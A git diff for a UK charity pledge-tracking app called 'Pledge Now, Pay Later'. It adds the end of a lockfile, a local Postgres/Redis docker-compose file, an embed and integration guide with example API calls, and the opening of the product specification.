"which-builtin-type": ["which-builtin-type@1.2.1", "", { "dependencies": { "call-bound": "^1.0.2", "function.prototype.name": "^1.1.6", "has-tostringtag": "^1.0.2", "is-async-function": "^2.0.0", "is-date-object": "^1.1.0", "is-finalizationregistry": "^1.1.0", "is-generator-function": "^1.0.10", "is-regex": "^1.2.1", "is-weakref": "^1.0.2", "isarray": "^2.0.5", "which-boxed-primitive": "^1.1.0", "which-collection": "^1.0.2", "which-typed-array": "^1.1.16" } }, "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q=="], + + "which-collection": ["which-collection@1.0.2", "", { "dependencies": { "is-map": "^2.0.3", "is-set": "^2.0.3", "is-weakmap": "^2.0.2", "is-weakset": "^2.0.3" } }, "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw=="], + + "which-module": ["which-module@2.0.1", "", {}, "sha512-iBdZ57RDvnOR9AGBhML2vFZf7h8vmBjhoaZqODJBFWHVtKkDmKuHai3cx5PgVMrX5YDNp27AofYbAwctSS+vhQ=="], + + "which-typed-array": ["which-typed-array@1.1.20", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.8", "call-bound": "^1.0.4", "for-each": "^0.3.5", "get-proto": "^1.0.1", "gopd": "^1.2.0", "has-tostringtag": "^1.0.2" } }, "sha512-LYfpUkmqwl0h9A2HL09Mms427Q1RZWuOHsukfVcKRq9q95iQxdw0ix1JQrqbcDR9PH1QDwf5Qo8OZb5lksZ8Xg=="], + + "word-wrap": ["word-wrap@1.2.5", "", {}, "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA=="], + + "wrap-ansi": ["wrap-ansi@6.2.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-r6lPcBGxZXlIcymEu7InxDMhdW0KDxpLgoFLcguasxCaJ/SOIZwINatK9KY/tf+ZrlywOKU0UDj3ATXUBfxJXA=="], + + "wrap-ansi-cjs": ["wrap-ansi@7.0.0", "", { "dependencies": { "ansi-styles": "^4.0.0", "string-width": "^4.1.0", "strip-ansi": "^6.0.0" } }, "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q=="], + + "wrappy": ["wrappy@1.0.2", "", {}, "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="], + + "xtend": ["xtend@4.0.2", "", {}, "sha512-LKYU1iAXJXUgAXn9URjiu+MWhyUXHsvfp7mcuYm9dSUKK0/CjtrUwFAxD82/mCWbtLsGjFIad0wIsod4zrTAEQ=="], + + "y18n": ["y18n@4.0.3", "", {}, "sha512-JKhqTOwSrqNA1NY5lSztJ1GrBiUodLMmIZuLiDaMRJ+itFd+ABVE8XBjOvIWL+rSqNDC74LCSFmlb/U4UZ4hJQ=="], + + "yallist": ["yallist@4.0.0", "", {}, "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A=="], + + "yargs": ["yargs@15.4.1", "", { "dependencies": { "cliui": "^6.0.0", "decamelize": "^1.2.0", "find-up": "^4.1.0", "get-caller-file": "^2.0.1", "require-directory": "^2.1.1", "require-main-filename": "^2.0.0", "set-blocking": "^2.0.0", "string-width": "^4.2.0", "which-module": "^2.0.0", "y18n": "^4.0.0", "yargs-parser": "^18.1.2" } }, "sha512-aePbxDmcYW++PaqBsJ+HYUFwCdv4LVvdnhBy78E57PIor8/OVvhMrADFFEDh8DHDFRv/O9i3lPhsENjO7QX0+A=="], + + "yargs-parser": ["yargs-parser@18.1.3", "", { "dependencies": { "camelcase": "^5.0.0", "decamelize": "^1.2.0" } }, "sha512-o50j0JeToy/4K6OZcaQmW6lyXXKhq7csREXcDwk2omFPJEwUNOVtJKvmDr9EI1fAJZUyZcRF7kxGBWmRXudrCQ=="], + + "yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="], + + "zeptomatch": ["zeptomatch@2.1.0", "", { "dependencies": { "grammex": "^3.1.11", "graphmatch": "^1.1.0" } }, "sha512-KiGErG2J0G82LSpniV0CtIzjlJ10E04j02VOudJsPyPwNZgGnRKQy7I1R7GMyg/QswnE4l7ohSGrQbQbjXPPDA=="], + + "zod": ["zod@4.3.6", "", {}, "sha512-rftlrkhHZOcjDwkGlnUtZZkvaPHCsDATp4pGpuOOMDaTdDDXF91wuVDJoWoPsKX/3YPQ5fHuF3STjcYyKr+Qhg=="], + + "@auth/core/jose": ["jose@6.1.3", "", {}, "sha512-0TpaTfihd4QMNwrz/ob2Bp7X04yuxJkjRGi4aKmOqwhov54i6u79oCv7T+C7lo70MKH6BesI3vscD1yb/yzKXQ=="], + + "@auth/core/preact-render-to-string": ["preact-render-to-string@6.5.11", "", { "peerDependencies": { "preact": ">=10" } }, "sha512-ubnauqoGczeGISiOh6RjX0/cdaF8v/oDXIjO85XALCQjwQP+SB4RDXXtvZ6yTYSjG+PC1QRP2AhPgCEsM2EvUw=="], + + "@isaacs/cliui/string-width": ["string-width@5.1.2", "", { "dependencies": { "eastasianwidth": "^0.2.0", "emoji-regex": "^9.2.2", "strip-ansi": "^7.0.1" } }, "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA=="], + + "@isaacs/cliui/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + + "@isaacs/cliui/wrap-ansi": ["wrap-ansi@8.1.0", "", { "dependencies": { "ansi-styles": "^6.1.0", "string-width": "^5.0.1", "strip-ansi": "^7.0.1" } }, "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ=="], + + "@mrleebo/prisma-ast/lilconfig": ["lilconfig@2.1.0", "", {}, "sha512-utWOt/GHzuUxnLKxB6dk81RoOeoNeHgbrXiuGk4yyF5qlRz+iIVWu56E2fqGHFrXz0QNUhLB/8nKqvRH66JKGQ=="], + + "@prisma/engines/@prisma/get-platform": ["@prisma/get-platform@7.4.2", "", { "dependencies": { "@prisma/debug": "7.4.2" } }, "sha512-UTnChXRwiauzl/8wT4hhe7Xmixja9WE28oCnGpBtRejaHhvekx5kudr3R4Y9mLSA0kqGnAMeyTiKwDVMjaEVsw=="], + + "@prisma/fetch-engine/@prisma/get-platform": ["@prisma/get-platform@7.4.2", "", { "dependencies": { "@prisma/debug": "7.4.2" } }, "sha512-UTnChXRwiauzl/8wT4hhe7Xmixja9WE28oCnGpBtRejaHhvekx5kudr3R4Y9mLSA0kqGnAMeyTiKwDVMjaEVsw=="], + + "@prisma/get-platform/@prisma/debug": ["@prisma/debug@7.2.0", "", {}, "sha512-YSGTiSlBAVJPzX4ONZmMotL+ozJwQjRmZweQNIq/ER0tQJKJynNkRB3kyvt37eOfsbMCXk3gnLF6J9OJ4QWftw=="], + + "@typescript-eslint/eslint-plugin/ignore": ["ignore@7.0.5", "", {}, "sha512-Hs59xBNfUIunMFgWAbGX5cq6893IbWg4KnrjbYwX3tx0ztorVgTDA6B2sxf8ejHJ4wz8BqGUMYlnzNBer5NvGg=="], + + "@typescript-eslint/typescript-estree/minimatch": ["minimatch@10.2.4", "", { "dependencies": { "brace-expansion": "^5.0.2" } }, "sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg=="], + + "@typescript-eslint/typescript-estree/semver": ["semver@7.7.4", "", { "bin": "bin/semver.js" }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "@typescript-eslint/visitor-keys/eslint-visitor-keys": ["eslint-visitor-keys@5.0.1", "", {}, "sha512-tD40eHxA35h0PEIZNeIjkHoDR4YjjJp34biM0mDvplBe//mB+IHCqHDGV7pxF+7MklTvighcCPPZC7ynWyjdTA=="], + + "c12/chokidar": ["chokidar@4.0.3", "", { "dependencies": { "readdirp": "^4.0.1" } }, "sha512-Qgzu8kfBvo+cA4962jnP1KkS6Dop5NS6g7R5LFYJr4b8Ub94PPQXUksCw9PvXoeXPRRddRNC5C1JQUR2SMGtnA=="], + + "c12/jiti": ["jiti@2.6.1", "", { "bin": "lib/jiti-cli.mjs" }, "sha512-ekilCSN1jwRvIbgeg/57YFh8qQDNbwDb9xT/qu2DAHbFFZUicIl4ygVaAvzveMhMVr3LnpSKTNnwt8PoOfmKhQ=="], + + "chokidar/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], + + "cliui/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "eslint-import-resolver-node/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="], + + "eslint-module-utils/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="], + + "eslint-plugin-import/debug": ["debug@3.2.7", "", { "dependencies": { "ms": "^2.1.1" } }, "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ=="], + + "eslint-plugin-import/doctrine": ["doctrine@2.1.0", "", { "dependencies": { "esutils": "^2.0.2" } }, "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw=="], + + "eslint-plugin-react/doctrine": ["doctrine@2.1.0", "", { "dependencies": { "esutils": "^2.0.2" } }, "sha512-35mSku4ZXK0vfCuHEDAwt55dg2jNajHZ1odvF+8SSr82EsZY4QmXfuWso8oEd8zRhVObSN18aM0CjSdoBX7zIw=="], + + "eslint-plugin-react/resolve": ["resolve@2.0.0-next.6", "", { "dependencies": { "es-errors": "^1.3.0", "is-core-module": "^2.16.1", "node-exports-info": "^1.6.0", "object-keys": "^1.1.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-3JmVl5hMGtJ3kMmB3zi3DL25KfkCEyy3Tw7Gmw7z5w8M9WlwoPFnIvwChzu1+cF3iaK3sp18hhPz8ANeimdJfA=="], + + "eslint-plugin-react/semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "fast-glob/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="], + + "fdir/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + + "glob/minimatch": ["minimatch@9.0.9", "", { "dependencies": { "brace-expansion": "^2.0.2" } }, "sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg=="], + + "is-bun-module/semver": ["semver@7.7.4", "", { "bin": "bin/semver.js" }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "next/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="], + + "node-exports-info/semver": ["semver@6.3.1", "", { "bin": "bin/semver.js" }, "sha512-BR7VvDCVHO+q2xBEWskxS6DJE1qRnb7DxzUrogb71CWoSficBxYsiAGd+Kl0mmq/MprG9yArRkyrQxTO6XjMzA=="], + + "nypm/citty": ["citty@0.2.1", "", {}, "sha512-kEV95lFBhQgtogAPlQfJJ0WGVSokvLr/UEoFPiKKOXF7pl98HfUVUD0ejsuTCld/9xH9vogSywZ5KqHzXrZpqg=="], + + "openid-client/object-hash": ["object-hash@2.2.0", "", {}, "sha512-gScRMn0bS5fH+IuwyIFgnh9zBdo4DV+6GhygmWM9HyNJSgS0hScp1f5vjtm7oIIOiT9trXrShAkLFSc2IqKNgw=="], + + "path-scurry/lru-cache": ["lru-cache@10.4.3", "", {}, "sha512-JNAzZcXrCt42VGLuYz0zfAzDfAvJWW6AfYlDBQyDV5DClI2m5sAmK+OIO7s59XfsRsWHp02jAJrRadPRGTt6SQ=="], + + "pg-types/postgres-array": ["postgres-array@2.0.0", "", {}, "sha512-VpZrUqU5A69eQyW2c5CA1jtLecCsN2U/bD6VilrFDWq5+5UIEVO7nazS3TEcHf1zuPYO/sqGvUvW62g86RXZuA=="], + + "postcss/nanoid": ["nanoid@3.3.11", "", { "bin": "bin/nanoid.cjs" }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], + + "proper-lockfile/signal-exit": ["signal-exit@3.0.7", "", {}, "sha512-wnD2ZE+l+SPC/uoS0vXeE9L1+0wuaMqKlfz9AMUo38JsyLSBWSFcHR1Rri62LZc12vLr1gb3jl7iwQhgwpAbGQ=="], + + "rimraf/glob": ["glob@7.2.3", "", { "dependencies": { "fs.realpath": "^1.0.0", "inflight": "^1.0.4", "inherits": "2", "minimatch": "^3.1.1", "once": "^1.3.0", "path-is-absolute": "^1.0.0" } }, "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q=="], + + "string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "string-width-cjs/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "tinyglobby/picomatch": ["picomatch@4.0.3", "", {}, "sha512-5gTmgEY/sqK6gFXLIsQNH19lWb4ebPDLA4SdLP7dsWkIXHWlG66oPuVvXSGFPppYZz8ZDZq0dYYrbHfBCVUb1Q=="], + + "wrap-ansi/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "wrap-ansi-cjs/string-width": ["string-width@4.2.3", "", { "dependencies": { "emoji-regex": "^8.0.0", "is-fullwidth-code-point": "^3.0.0", "strip-ansi": "^6.0.1" } }, "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g=="], + + "yargs/find-up": ["find-up@4.1.0", "", { "dependencies": { "locate-path": "^5.0.0", "path-exists": "^4.0.0" } }, "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw=="], + + "@isaacs/cliui/string-width/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + + "@isaacs/cliui/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + + "@isaacs/cliui/wrap-ansi/ansi-styles": ["ansi-styles@6.2.3", "", {}, "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg=="], + + "@isaacs/cliui/wrap-ansi/strip-ansi": ["strip-ansi@7.2.0", "", { "dependencies": { "ansi-regex": "^6.2.2" } }, "sha512-yDPMNjp4WyfYBkHnjIRLfca1i6KMyGCtsVgoKe/z1+6vukgaENdgGBZt+ZmKPc4gavvEZ5OgHfHdrazhgNyG7w=="], + + "@typescript-eslint/typescript-estree/minimatch/brace-expansion": ["brace-expansion@5.0.4", "", { "dependencies": { "balanced-match": "^4.0.2" } }, "sha512-h+DEnpVvxmfVefa4jFbCf5HdH5YMDXRsmKflpf1pILZWRFlTbJpxeU55nJl4Smt5HQaGzg1o6RHFPJaOqnmBDg=="], + + "c12/chokidar/readdirp": ["readdirp@4.1.2", "", {}, "sha512-GDhwkLfywWL2s6vEjyhri+eXmfH6j1L7JE27WhqLeYzoh/A3DBaYGEj2H/HFZCn/kMfim73FXxEJTw06WtxQwg=="], + + "cliui/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "glob/minimatch/brace-expansion": ["brace-expansion@2.0.2", "", { "dependencies": { "balanced-match": "^1.0.0" } }, "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ=="], + + "next/postcss/nanoid": ["nanoid@3.3.11", "", { "bin": "bin/nanoid.cjs" }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], + + "wrap-ansi-cjs/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "wrap-ansi/string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="], + + "yargs/find-up/locate-path": ["locate-path@5.0.0", "", { "dependencies": { "p-locate": "^4.1.0" } }, "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g=="], + + "@isaacs/cliui/string-width/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + + "@isaacs/cliui/wrap-ansi/strip-ansi/ansi-regex": ["ansi-regex@6.2.2", "", {}, "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg=="], + + "@typescript-eslint/typescript-estree/minimatch/brace-expansion/balanced-match": ["balanced-match@4.0.4", "", {}, "sha512-BLrgEcRTwX2o6gGxGOCNyMvGSp35YofuYzw9h1IMTRmKqttAZZVU67bdb9Pr2vUHA8+j3i2tJfjO6C6+4myGTA=="], + + "yargs/find-up/locate-path/p-locate": ["p-locate@4.1.0", "", { "dependencies": { "p-limit": "^2.2.0" } }, "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A=="], + + "yargs/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="], + } +} diff --git a/pledge-now-pay-later/docker-compose.yml b/pledge-now-pay-later/docker-compose.yml new file mode 100644 index 0000000..7a6bc51 --- /dev/null +++ b/pledge-now-pay-later/docker-compose.yml @@ -0,0 +1,23 @@ +version: "3.8" + +services: + postgres: + image: postgres:16-alpine + restart: unless-stopped + ports: + - "5432:5432" + environment: + POSTGRES_DB: pnpl + POSTGRES_USER: pnpl + POSTGRES_PASSWORD: pnpl_dev + volumes: + - pgdata:/var/lib/postgresql/data + + redis: + image: redis:7-alpine + restart: unless-stopped + ports: + - "6379:6379" + +volumes: + pgdata: diff --git a/pledge-now-pay-later/docs/EMBED_GUIDE.md b/pledge-now-pay-later/docs/EMBED_GUIDE.md new file mode 100644 index 0000000..771163e --- /dev/null +++ b/pledge-now-pay-later/docs/EMBED_GUIDE.md @@ -0,0 +1,134 @@ +# Embed Guide — Add Pledge Now, Pay Later to Your Website + +## Option 1: QR Code + Direct Link (Recommended) + +The simplest way — just share your pledge page URL or print the QR code. + +### Get Your Link +Every QR source generates a unique link: +``` +https://your-domain.com/p/{code} +``` + +### Add a Button to Your Website +```html + + Pledge Now → + +``` + +### Embed as Full-Page iframe +```html + +``` + +## Option 2: QR Code for Print Materials + +1. Go to **Dashboard → Events → [Your Event] → QR Codes** +2. Click **Download PNG** for each QR code +3. Print on table cards, flyers, or banners + +### Recommended Sizes +- **Table cards**: 5cm × 5cm QR with label below +- **Banners**: 15cm × 15cm QR +- **Flyers**: 3cm × 3cm QR (still scannable) + +### Print Template (HTML) +```html +
+ +

Scan to Pledge

+

Table 5 · Ramadan Gala 2025

+
+``` + +## Option 3: Webhook Integration (Advanced) + +Connect reminders to your existing email/SMS tools: + +### Poll for Due Reminders +```bash +curl -X GET "https://your-domain.com/api/webhooks?since=2025-01-01T00:00:00Z" \ + -H "x-org-id: YOUR_ORG_ID" +``` + +### Response Format +```json +{ + "events": [ + { + "event": "reminder.due", + "timestamp": "2025-03-17T10:00:00Z", + "data": { + "reminderId": "clx...", + "pledgeId": "clx...", + "step": 1, + "channel": "email", + "donor": { + "name": "Sarah Khan", + "email": "sarah@example.com", + "phone": "07700900001" + }, + "pledge": { + "reference": "PNPL-7K4P-50", + "amount": 5000, + "rail": "bank" + }, + "event": "Ramadan Gala 2025" + } + } + ] +} +``` + +### Zapier / Make Setup +1. Create a scheduled trigger (every 15 minutes) +2. HTTP GET to `/api/webhooks?since={{last_run}}` +3. For each event, send email/SMS via your provider +4. Templates available in Dashboard → Exports + +## Option 4: CRM Integration + +### Export Pledge Data +```bash +curl -X GET "https://your-domain.com/api/exports/crm-pack" \ + -H "x-org-id: YOUR_ORG_ID" \ + -o pledges.csv +``` + +### CSV Fields +| Field | Description | +|-------|-------------| +| pledge_reference | Unique ref (PNPL-XXXX-NN) | +| donor_name | Donor's name | +| donor_email | Email address | +| donor_phone | Phone number | +| amount_gbp | Amount in pounds | +| payment_method | bank / gocardless / card | +| status | new / initiated / paid / overdue / cancelled | +| event_name | Source event | +| source_label | QR source label | +| volunteer_name | Assigned volunteer | +| table_name | Table assignment | +| gift_aid | Yes / No | +| pledged_at | ISO timestamp | +| paid_at | ISO timestamp (if paid) | +| days_to_collect | Number of days to payment | + +### Salesforce Import +1. Download CRM pack CSV +2. Salesforce → Setup → Data Import Wizard +3. Map fields: pledge_reference → External ID, amount_gbp → Amount, etc. + +### Beacon CRM Import +1. Download CRM pack CSV +2. Beacon → Contacts → Import +3. Map donor fields and donation amount diff --git a/pledge-now-pay-later/docs/PRODUCT_SPEC.md b/pledge-now-pay-later/docs/PRODUCT_SPEC.md new file mode 100644 index 0000000..3357b7c --- /dev/null +++ b/pledge-now-pay-later/docs/PRODUCT_SPEC.md @@ -0,0 +1,1364 @@ +# Pledge Now, Pay Later — Product Specification + +> **Version:** 1.0 +> **Last updated:** 2026-02-28 +> **Status:** Implementation in progress + +--- + +## Table of Contents + +1. [Overview](#1-overview) +2. [User Personas](#2-user-personas) +3. [Core Flows](#3-core-flows) +4. [Data Model](#4-data-model) +5. [API Contracts](#5-api-contracts) +6. [Payment Reference Design](#6-payment-reference-design) +7. [Analytics Events](#7-analytics-events) +8. [Lead Qualification](#8-lead-qualification) +9. [Integration Points](#9-integration-points) +10. [Non-Functional Requirements](#10-non-functional-requirements) + +--- + +## 1. Overview + +**Pledge Now, Pay Later** (PNPL) is a free-forever micro-SaaS that helps UK charities capture donation intent at live events — dinners, auctions, fun runs, Friday prayers — and follow through to actual payment. + +### The Problem + +At charity events, donors say "I'll donate later" and never do. Event teams lose 40–60% of pledged income because there's no system to: +- Capture pledges quickly on mobile +- Attribute donations to tables, volunteers, or campaigns +- Follow up automatically +- Reconcile bank payments against pledges + +### The Solution + +PNPL converts verbal intent into tracked, attributed digital pledges in **15 seconds**, then drives payment collection through the donor's preferred method: + +| Payment Rail | Fees | Collection | Best For | +|-----------------|-------|----------------|--------------------| +| Bank transfer | £0 | Manual + match | Most donors (UK) | +| Direct Debit | ~1% | Automatic | Recurring/high-value| +| Card | ~1.4% | Instant | Convenience | + +### Business Model + +``` +┌─────────────────────────────────────────────────────┐ +│ FREE FOREVER │ +│ Event setup · QR codes · Pledge flow · Reminders │ +│ Bank reconciliation · CRM export · Dashboard │ +└──────────────────────┬──────────────────────────────┘ + │ + Qualified Lead Signal + (events created + pledges collected) + │ + ▼ +┌─────────────────────────────────────────────────────┐ +│ FRACTIONAL HEAD OF TECHNOLOGY │ +│ Omair's consultancy — pre-filled application with │ +│ event performance metrics from PNPL usage │ +└─────────────────────────────────────────────────────┘ +``` + +The product is genuinely free. No tiered pricing, no feature gates. Revenue comes from qualifying charity organisations that need broader technology leadership — PNPL usage data pre-fills the consultancy application with proof of operational maturity. + +--- + +## 2. User Personas + +### 2.1 Event Lead / Fundraising Manager + +| Attribute | Detail | +|--------------|---------------------------------------------------------| +| **Role** | Creates events, manages QR codes, monitors pledge pipeline | +| **Goal** | Maximise pledge-to-payment conversion | +| **Pain** | Spreadsheets, lost pledges, no attribution | +| **Key screens** | Dashboard, Event setup, Reconciliation, CRM export | +| **Tech comfort** | Moderate — can upload CSVs, follow guided workflows | + +### 2.2 Donor + +| Attribute | Detail | +|--------------|---------------------------------------------------------| +| **Role** | Scans QR code at event, makes a pledge, pays later | +| **Goal** | Pledge quickly without friction, pay when convenient | +| **Pain** | Long forms, app installs, payment pressure at events | +| **Key screens** | 3-step pledge flow (Amount → Method → Identity) | +| **Tech comfort** | Any — mobile web only, no account required | + +### 2.3 Finance / Admin + +| Attribute | Detail | +|--------------|---------------------------------------------------------| +| **Role** | Reconciles bank statements, exports data for CRM/Gift Aid | +| **Goal** | Match bank payments to pledges, produce accurate records | +| **Pain** | Manual bank statement line-matching, Gift Aid declarations | +| **Key screens** | Reconciliation tool, CRM export, Pledge list | +| **Tech comfort** | Comfortable with CSV imports/exports | + +### 2.4 Volunteer + +| Attribute | Detail | +|--------------|---------------------------------------------------------| +| **Role** | Assigned a personal QR code, encourages table donations | +| **Goal** | Show QR, let donors pledge painlessly | +| **Pain** | Collecting cash, keeping track of who pledged what | +| 